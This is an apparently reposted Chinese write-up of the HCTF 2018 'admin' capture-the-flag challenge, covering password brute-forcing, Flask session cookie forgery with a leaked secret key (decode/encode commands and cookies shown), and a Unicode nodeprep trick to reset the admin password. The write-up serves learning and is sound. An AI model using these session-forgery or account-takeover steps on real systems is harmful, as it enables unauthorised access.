CTF [HCTF 2018]admin writeup Flask-session unicode

虽然弄出来的,但是感觉不是预期解,所以直接去看的wirteup,之前没弄过python框架的站,学习复现一波,学习之路途漫长。。。


0x01 瞎弄

在这里插入图片描述
一打开就看到这个,可能是爆破的,因为名字都告诉你了,但是还点了几下,发现有登陆和注册功能。
在这里插入图片描述
在登陆处,尝试了下万能密码啥的,除了括号也不能用起来的特殊字符,不然就直接返回错误
在这里插入图片描述
然后看到了注册页,第一次反应莫不是二次注入?注入学疯了,然后注册了个用户admin)#,登陆后,还真有一个修改密码的页。
在这里插入图片描述
更加兴奋了。。于是想各种可能是什么SQL语句,进行构造,但是大量尝试后发现,无法成功,只好安慰自己,一般情况下,都需要引号吧,但是引号不让用。。。
于是回头用burpsuite跑了一波。。
在这里插入图片描述
拦截的时候也很奇怪,居然是以form-data的格式提交数据,不知道是不是有啥讲究。。。
在这里插入图片描述
吃个东西上个厕所,回来就有了。密码居然是123。。。
在这里插入图片描述
登陆后就有flag了。。。


0x02 正常的writeup

看大佬们说这个题有3个答案,不过目前也就看到了前两个成功了,我这里也就尝试抄答案吧

  1. flask session 伪造
  2. unicode欺骗
  3. 条件竞争
flask session

flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

github上有直接的工具可以进行使用,https://github.com/noraj/flask-session-cookie-manager

另外生成adminsession还需要一个key
这里有存在源码泄露,我是真的没注意到。。。在修改密码的页面中。
在这里插入图片描述
下下来以后,就可以做源码审计了,找到keyckj123
在这里插入图片描述
直接运行py对自己session进行解密

D:\Tools\01-Hack Penetration\02-Vulnerabilty Analysis\flask-session-cookie-manager>python3 flask_session_cookie_manager3.py decode -s "ckj123" -c "".eJw9kE1rAjEURf9KSVcFFxrrRnBhyRiUvhciqcPLRqwZTeLEwqjMh_jfO7Tg6i4uHM69d7Y9VMXFs-m1uhUDtg2OTe_s5ZtNGUjgKoexTV8dmc0J47xPF5TwAbjm1lhP-SKgXERItlTGnazQLYh1sGbfgqQhRphQWg6VJG6lbpW0CYUvMR5HaKDBnBoUGbcx42SgxugSRSzR6LHN15H4yvesdzC9i9lEJbK6d-JWLBsyH5E6DJhnM_YYsP2lOmyvP6fi_JyAueYUnaduVSq5rKGjFo1PVlCjxML3Ol6ZVcLORxB6QlF3UM_-cCHtjsWT5JL7hPl_c96lvmA7l8L57ZUN2O1SVH_PsdGIPX4BQmpuAA.XoWPQA.O1niFFvonAMPmtrHyBuoo94WVms""
{'_fresh': True, '_id': b'0c69c7fe3a5d603a7b88b3d6e6aaab4ac2fe97dd4204be720f4639bb48f6dd28ff48e6855315f1416f16a3067fb3e547edccbae7813695c8109c6d21a0cc3b5a', 'csrf_token': b'5d6b7ac2e8b036258fd6181a8fa92f78c049b433', 'image': b'vgK0', 'name': 'admin)#', 'user_id': '11'}

然后将名字改成admin以后,重新生成一次session

D:\Tools\01-Hack Penetration\02-Vulnerabilty Analysis\flask-session-cookie-manager>python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'0c69c7fe3a5d603a7b88b3d6e6aaab4ac2fe97dd4204be720f4639bb48f6dd28ff48e6855315f1416f16a3067fb3e547edccbae7813695c8109c6d21a0cc3b5a', 'csrf_token': b'5d6b7ac2e8b036258fd6181a8fa92f78c049b433', 'image': b'vgK0', 'name': 'admin', 'user_id': '11'}"
.eJw9kE1rAjEURf9KydqFxroRXFgyBqXvhUjq8LIRNaNJnFgYlfkQ_3sHC67u4sLh3Ptg22NVXD2b3qp7MWDb4Nj0wT72bMpAAlc5jG366chszhjnfbqghA_ANbfGesoXAeUiQrKlMu5shW5BrIM1hxYkDTHChNJyqCRxK3WrpE0ofInxNEIDDebUoMi4jRknAzVGlyhiiUaPbb6OxFe-Z32C6V3MJiqR1b0Tt2LZkPmK1GHAPJux54AdrtVxe_s9F5f3BMw1p-g8datSyWUNHbVofLKCGiUWvtfxyqwSdj6C0BOKuoN69sKFtDsVb5JL7hvm_81ll_qC7VwKFzZg92tRvX5joxF7_gFrJm20.XoWYLQ.5dJ1xJ7ymw2q6FrCCTT0e18qGms

burpsuite中更改cookie即可。
在这里插入图片描述

unicode编码

这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session[‘name’]的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义。

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,https://paper.tuisec.win/detail/a9ad1440249d95b

这里原理就是利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare,其实就是再修改一次密码就可以了,这时就可以把admin的密码改为任何自己想要改的值。

实际测试了下,确实是可以的。

第三种就没测试了,总结下吧

  1. 信息泄露问题值得重视
  2. 多学习一些其他的web框架
  3. 多猜出题人的想法,注意提示!!
发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105268530